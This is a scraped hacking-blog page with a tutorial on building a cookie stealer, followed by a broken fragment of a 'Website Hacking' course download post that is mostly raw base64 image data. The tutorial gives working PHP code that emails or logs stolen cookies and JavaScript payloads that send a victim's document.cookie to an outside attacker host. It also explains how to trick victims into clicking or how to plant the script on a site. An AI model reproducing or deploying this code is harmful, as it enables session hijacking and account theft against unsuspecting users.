Pak Softwares Spot: Website Hacking

How to make Cookie Stealer ? Best Tutorial

Exactly how does a cookie stealer work, anyway? There are two components in a cookie stealer: the sender and thereceiver.  The sender can take many forms. In essense, it's just a link to the receiver with the cookie somehow attached. It can sometimes be difficult to find a way to implement the sender. The receiver, as the name suggests, is a device which receives the cookie from the sender. It can also take several forms, but the most common is that of a PHP document, most commonly found residing on some obscure webserver. Step One: The Code Coding a receiver is the part with which most newbies struggle. Only two things are needed to make a receiver: a webhost which supports PHP, and Notepad (see the end of the text for a link to some free PHP hosts). As I said in the introduction, the receiver's job is to receive the cookie from the sender. The easiest way to send information to a PHP document is by using the HTTP GET method, which appends information to the end of the URL as a parameter (for example, "page.php?arg1=value"). PHP can access GET information by accessing $HTTP_GET_VARS[x], where x is a string containing the name of the argument. Once the receiver has the cookie, it needs a way to get that cookie to you. The two most common ways of doing this are sending it in an email, and storing it in a log. We'll look at both. First, let's look at sending it in an email. Here is what such a beast would look like (functioning code): 
<div class="codeblock" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border-radius: 2px; border: 1px solid rgb(55, 54, 54); font-family: open_sansregular, Tahoma, Verdana, Arial, sans-serif; font-size: 14px; line-height: 19.6000003814697px; padding: 10px;">
<div class="title" style="border-bottom-color: rgb(55, 55, 55); border-bottom-style: solid; border-bottom-width: 1px; font-weight: bold; margin: 0px 0px 10px; padding-bottom: 3px;">
Code:</div>
<div class="body" dir="ltr">
<code style="display: block; font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; height: auto; max-height: 200px; overflow: auto;"><?php                                                                                                                            // line 1 $cookie = $HTTP_GET_VARS["cookie"];                                                                // line 2 mail("me@mydomain.com", "Cookie stealer report", $cookie);                      // line 3 ?>                                                                                                                                      // line 4</code></div>
</div>
 Line 1 tells the server that this is indeed a PHP document. Line 2 takes the cookie from the URL ("stealer.php?cookie=x") and stores it in the variable $cookie. Line 3 accesses PHP's mail() function and sends the cookie to "me@mydomain.com" with the subject of "Cookie stealer report". Line 4 tells the server that the PHP code ends here. Next, we'll look at my preferred method, which is storing the cookie in a logfile. (functioning code) 
<div class="codeblock" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border-radius: 2px; border: 1px solid rgb(55, 54, 54); font-family: open_sansregular, Tahoma, Verdana, Arial, sans-serif; font-size: 14px; line-height: 19.6000003814697px; padding: 10px;">
<div class="title" style="border-bottom-color: rgb(55, 55, 55); border-bottom-style: solid; border-bottom-width: 1px; font-weight: bold; margin: 0px 0px 10px; padding-bottom: 3px;">
Code:</div>
<div class="body" dir="ltr">
<code style="display: block; font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; height: auto; max-height: 200px; overflow: auto;"><?php                                                                                                                            // line 1 $cookie = $HTTP_GET_VARS["cookie"];                                                                // line 2 $file = fopen('cookielog.txt', 'a');                                                              // line 3 fwrite($file, $cookie . "\n\n");                                                                          // line 4 ?>                                                                                                                                      // line 5</code></div>
</div>
 Lines 1 and 2 are the same as before. Line 3 opens the file "cookielog.txt" for writing, then stores the file's handle in $file. Line 4 writes the cookie to the file which has its handle in $file. The period between $cookie and "\n\n" combines the two strings as one. The "\n\n" acts as a double line-break, making it easier for us to sift through the log file. Line 5 is the same as before. Step Two: Implementing the Stealer The hardest part (usually) of making a cookie stealer is finding a way to use the sender. The simplest method requires use of HTML and Javascript, so you have to be sure that your environment supports those two. Here is an example of a sender. 
<div class="codeblock" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border-radius: 2px; border: 1px solid rgb(55, 54, 54); font-family: open_sansregular, Tahoma, Verdana, Arial, sans-serif; font-size: 14px; line-height: 19.6000003814697px; padding: 10px;">
<div class="title" style="border-bottom-color: rgb(55, 55, 55); border-bottom-style: solid; border-bottom-width: 1px; font-weight: bold; margin: 0px 0px 10px; padding-bottom: 3px;">
Code:</div>
<div class="body" dir="ltr">
<code style="display: block; font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; height: auto; max-height: 200px; overflow: auto;"><script language="Javascript">                                                                                                           // Line 1 document.location="http://www.host.com/mysite/stealer.php?cookie=" + document.cookie;                                // Line 2 </script>                                                                                                                                                      // Line 3</code></div>
</div>
 Line 1 tells the browser that the following chunk of code is to be interpereted as Javascript. Line 2 adds document.cookie to the end of the URL, which is then stored in document.location. Wheneverdocument.location is changed, the browser is redirected to that URL. Line 3 tells the browser to stop reading the code as Javascript (return to HTML). There are two main ways of implementing the sender: You can plant your sender where the victim will view it as an HTML document with his browser. In order to do that, you have to find some way to actually post the code somewhere on the site. You can trick the victim into clicking a link which activates the sender. For example: 
<div class="codeblock" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border-radius: 2px; border: 1px solid rgb(55, 54, 54); font-family: open_sansregular, Tahoma, Verdana, Arial, sans-serif; font-size: 14px; line-height: 19.6000003814697px; padding: 10px;">
<div class="title" style="border-bottom-color: rgb(55, 55, 55); border-bottom-style: solid; border-bottom-width: 1px; font-weight: bold; margin: 0px 0px 10px; padding-bottom: 3px;">
Code:</div>
<div class="body" dir="ltr">
<code style="display: block; font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; height: auto; max-height: 200px; overflow: auto;"><a href="java script:document.location='http://www.host.com/mysite/stealer.php?cookie='+document.cookie;">Click here!</a></code></div>
</div>
 (remove the space in "javascript") Another method I discovered is putting... 
<div class="codeblock" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border-radius: 2px; border: 1px solid rgb(55, 54, 54); font-family: open_sansregular, Tahoma, Verdana, Arial, sans-serif; font-size: 14px; line-height: 19.6000003814697px; padding: 10px;">
<div class="title" style="border-bottom-color: rgb(55, 55, 55); border-bottom-style: solid; border-bottom-width: 1px; font-weight: bold; margin: 0px 0px 10px; padding-bottom: 3px;">
Code:</div>
<div class="body" dir="ltr">
<code style="display: block; font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; height: auto; max-height: 200px; overflow: auto;"><script>document.location="http://www.host.com/mysite/stealer.php?cookie=" + document.cookie;</script></code></div>
</div>
 ...into my user-agent.

How to make Cookie Stealer ? Best Tutorial

Exactly how does a cookie stealer work, anyway? There are two components in a cookie stealer: the sender and thereceiver. The sender can ta...

Udemy "Website Hacking in actice" - Free Download

<div dir="ltr" style="text-align: left;" trbidi="on">
 
<a href="data:image/jpeg;base64,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" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"></a><a href="data:image/jpeg;base64,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